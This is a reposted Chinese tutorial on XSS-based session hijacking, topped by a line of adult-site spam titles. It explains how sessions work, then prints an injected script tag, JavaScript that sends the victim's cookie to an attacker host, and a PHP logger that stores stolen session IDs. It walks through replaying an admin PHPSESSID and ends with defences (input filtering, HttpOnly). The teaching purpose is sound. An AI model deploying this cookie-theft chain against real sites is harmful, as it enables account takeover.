日韩黑丝制服一区视频播放|日韩欧美人妻丝袜视频在线观看|九九影院一级蜜桃|亚洲中文在线导航|青草草视频在线观看|婷婷五月色伊人网站|日本一区二区在线|国产AV一二三四区毛片|正在播放久草视频|亚洲色图精品一区

分享

XSS危害

 huhuwoo 2015-10-09

在跨站腳本攻擊XSS中簡單介紹了XSS的原理及一個(gè)利用XSS盜取存在cookie中用戶名和密碼的小例子,有些同學(xué)看了后會(huì)說這有什么大不了的,哪里有人會(huì)明文往cookie里存用戶名和密碼。今天我們就介紹一種危害更大的XSS——session劫持。

神馬是session

想明白session劫持及其危害,首先要搞清楚什么是session,熟悉http的同學(xué)知道,http是無狀態(tài)的,也就是客戶端向服務(wù)器請(qǐng)求完成后,會(huì)斷開連接,下次同一個(gè)客戶端再次訪問服務(wù)器的時(shí)候,服務(wù)器會(huì)把它當(dāng)作一個(gè)陌生的請(qǐng)求,不會(huì)知道它曾經(jīng)來過,這里有它的印記。

但是這樣的交互是非常麻煩的,某個(gè)網(wǎng)站有很多theme,通過一套機(jī)制記在服務(wù)器中,用戶訪問的時(shí)候從數(shù)據(jù)庫等地方讀取配置,返回給客戶端合適的themeHTML響應(yīng)。因?yàn)閔ttp沒有狀態(tài),下次用戶再來的時(shí)候又讀取一遍數(shù)據(jù)庫配置,每個(gè)用戶都要重復(fù)這個(gè)過程,是不是很麻煩。這時(shí)候我們希望有一個(gè)全局的變量存儲(chǔ)空間,用來存放一些全站點(diǎn)都需要的并且不會(huì)變來變?nèi)ィ词棺円矝]什么)的數(shù)據(jù),這就是Application變量。Application變量是站點(diǎn)的全局變量,只要服務(wù)器不宕機(jī),任何用戶在任何頁面在授權(quán)的情況下都可以訪問,進(jìn)行讀寫操作。這樣一些theme、timezone等信息就可以在用戶第一次訪問的時(shí)候存放在Application內(nèi),再次訪問或者其它用戶訪問的時(shí)候可以直接去讀取,方便了很多。

然而,有時(shí)候我們希望服務(wù)器為我們每個(gè)單獨(dú)的web用戶開辟一塊兒私密空間,比如我們肯定不希望用戶訪問一個(gè)頁面就輸一次用戶名、密碼,當(dāng)用戶第一次登錄成功后可以把登錄信息存放在服務(wù)器,下次來了直接比對(duì)就可以。但是明顯大家不希望自己的用戶名和密碼能夠被所有的用戶訪問,所以服務(wù)器私密空間是需要的。

but,由于http的無狀態(tài)性即使服務(wù)器上有了每個(gè)用戶的私密空間,但下次用戶訪問的時(shí)候,服務(wù)器仍然不知道用戶是張三、李四還是王二麻子。這可怎么辦,聰明的同學(xué)肯定想到了,讓客戶端的請(qǐng)求告訴服務(wù)器我是王二麻子就行了。這樣服務(wù)器和客戶端就可以對(duì)話了,不至于說了后句就忘了前句。

問題在于客戶端怎么告訴服務(wù)器我是誰。細(xì)心的同學(xué)會(huì)注意到cookie是http協(xié)議的一部分,會(huì)在http請(qǐng)求和http響應(yīng)中出現(xiàn),而客戶端和服務(wù)器有記憶的會(huì)話正是靠cookie實(shí)現(xiàn)的。拿登錄做例子,會(huì)話過程是這樣的

登錄

1. 客戶端發(fā)送登錄請(qǐng)求

2. 服務(wù)器接收請(qǐng)求,驗(yàn)證登錄,成功后為此web用戶開辟一個(gè)私密空間,存放登錄信息

3. 服務(wù)器為這個(gè)私密空間編號(hào),類似于PHPSESSID=rcmjnke6er5pnvf3qof0lclca7這樣的一個(gè)鍵值對(duì),不同的語言生成的鍵名和值的規(guī)則不同,但是都本著兩個(gè)原則:第一,value必須唯一,畢竟一個(gè)站點(diǎn)可能同時(shí)有數(shù)百萬甚至更多用戶在訪問,不能讓兩個(gè)用戶的表示一樣;第二:生成的value必須是不可推測(cè)的,否則別有用心用戶就可以根據(jù)自己的表示信息推斷出別人的,然后偽造別人登錄信息訪問站點(diǎn)(這正是session劫持)。

4. 服務(wù)器把這個(gè)鍵值對(duì)寫入http響應(yīng)中傳給客戶端

5. 客戶端接收響應(yīng),關(guān)閉連接

登錄成功,用戶訪問其他頁面

1. 客戶端發(fā)送登錄請(qǐng)求(服務(wù)器寫到cookie中的用戶標(biāo)識(shí)信息也被發(fā)送)

2. 服務(wù)器讀取http請(qǐng)求中的cookie信息,根據(jù)標(biāo)識(shí)信息查找對(duì)應(yīng)私密空間,讀取用戶信息

3. 服務(wù)器生成特定響應(yīng),發(fā)送給客戶端

4. 客戶端接收響應(yīng),關(guān)閉連接

 

這個(gè)過程是不是很像是一個(gè)會(huì)話?這樣第一次來了給個(gè)標(biāo)簽,下次憑此標(biāo)簽交流的機(jī)制就是session,當(dāng)然session還包含其失效機(jī)制等。

session劫持

服務(wù)器生成的用以標(biāo)識(shí)客戶信息的cookie一般被稱為sessionId,而通過一些手段獲取其它用戶sessionId的攻擊就叫session劫持。

說的這么恐怖,那么被別人知道了我的sessionId后會(huì)有什么危險(xiǎn)呢?通過上面交互過程可以看出來服務(wù)器是靠sessionId識(shí)別客戶端是張三、李四還是王二麻子的,當(dāng)其它用戶獲知了你的sessionId后,在其有效期內(nèi)就可以憑此sessionId欺騙服務(wù)器,獲取你的身份登錄使用網(wǎng)站。

XSS劫持session

還是使用跨站腳本攻擊XSS中留言板的XSS漏洞,添加一個(gè)登錄成功的首頁,包含留言板頁面鏈接,管理員有其它權(quán)限,登錄失敗返回登錄頁。

home.php

復(fù)制代碼
<!DOCTYPE html>
<html>
<head>
<title>Home</title>
<?php include('/components/headerinclude.php');?>
</head>
<body>
<a href="list.php">Comments</a>
<?php
use \entity\authority as au;
include 'entity\user.php';
if(isset($_POST['username'])){
$user=new au\User();
$user->username=$_POST['username'];
$user->password=md5($_POST['password']);
if($user->username=='Byron'){
$user->role='admin';
}else{
$user->role='normal';
}
$_SESSION['user']=json_encode($user);
}
if(!isset($_SESSION['user'])){
echo '<script>';
echo 'window.location.href="index.php"';
echo '</script>';
}else{
$me=json_decode($_SESSION['user']);
echo '<br/>Hello '.$me->username.'!<br/>';
if($me->role=='admin'){
echo "Your are an Administrator, you can do anything.";
}
}
?>
</body>
</html>
復(fù)制代碼

當(dāng)我們以管理員身份登錄后界面是這樣的

 

image

當(dāng)沒有管理員權(quán)限的惡意用戶登錄并訪問留言板的時(shí)候,利用XSS漏洞注入這樣代碼

image

看看壞蛋做了什么

<script type="text/javascript" src="http:///hack.js"></script>這條語句利用script的src跨域請(qǐng)求壞蛋自己的腳本

http:///hack.js

var c=document.cookie;
var script =document.createElement('script');
script.src='http:///index.php?c='+c;
document.body.appendChild(script);

腳本中創(chuàng)建了一個(gè)script標(biāo)簽,利用jsonp連帶這當(dāng)前用戶的cookie向'http:///index.php發(fā)送了http請(qǐng)求

http:///index.php

復(fù)制代碼
<?php
if(!empty($_GET['c'])){
$cookie=$_GET['c'];
try{
$path=$_SERVER["DOCUMENT_ROOT"].'/session.txt';
$fp=fopen($path,'a');
flock($fp, LOCK_EX);
fwrite($fp, "$cookie\r\n");
flock($fp, LOCK_UN);
fclose($fp);
}catch(Exception $e){
}
}
?>
復(fù)制代碼

原來壞蛋通過XSS把sessionId記到了自己磁盤

如何偽造管理員登錄

這樣如果在壞蛋利用XSS注入劫持sessionId的腳本后管理員登錄并訪問留言板頁面,壞蛋就會(huì)得到管理員的sessionId,在其有效期內(nèi)壞蛋可以這么做

1. 利用自己賬號(hào)登錄系統(tǒng),等待管理員訪問被攻擊頁面,獲取其sessionId

比如我得到管理員sessionId PHPSESSID=93jqhkal21kn6lg68uubvd1s37

 

2. 通過客戶端修改sessionId

 

自己登錄界面

image

 

修改cookie

image

 

3. 刷新頁面,騙過服務(wù)器,自己成了管理員

image

4. 不堪設(shè)想。。。

 

如何防范

這種session劫持主要靠XSS漏洞和客戶端獲取sessionId完成,一次防范分兩步

1. 過濾用戶輸入,防止XSS漏洞

2. 設(shè)置sessionId的cookie為HttpOnly,使客戶端無法獲取

    本站是提供個(gè)人知識(shí)管理的網(wǎng)絡(luò)存儲(chǔ)空間,所有內(nèi)容均由用戶發(fā)布,不代表本站觀點(diǎn)。請(qǐng)注意甄別內(nèi)容中的聯(lián)系方式、誘導(dǎo)購買等信息,謹(jǐn)防詐騙。如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請(qǐng)點(diǎn)擊一鍵舉報(bào)。
    轉(zhuǎn)藏 分享 獻(xiàn)花(0

    0條評(píng)論

    發(fā)表

    請(qǐng)遵守用戶 評(píng)論公約

    類似文章 更多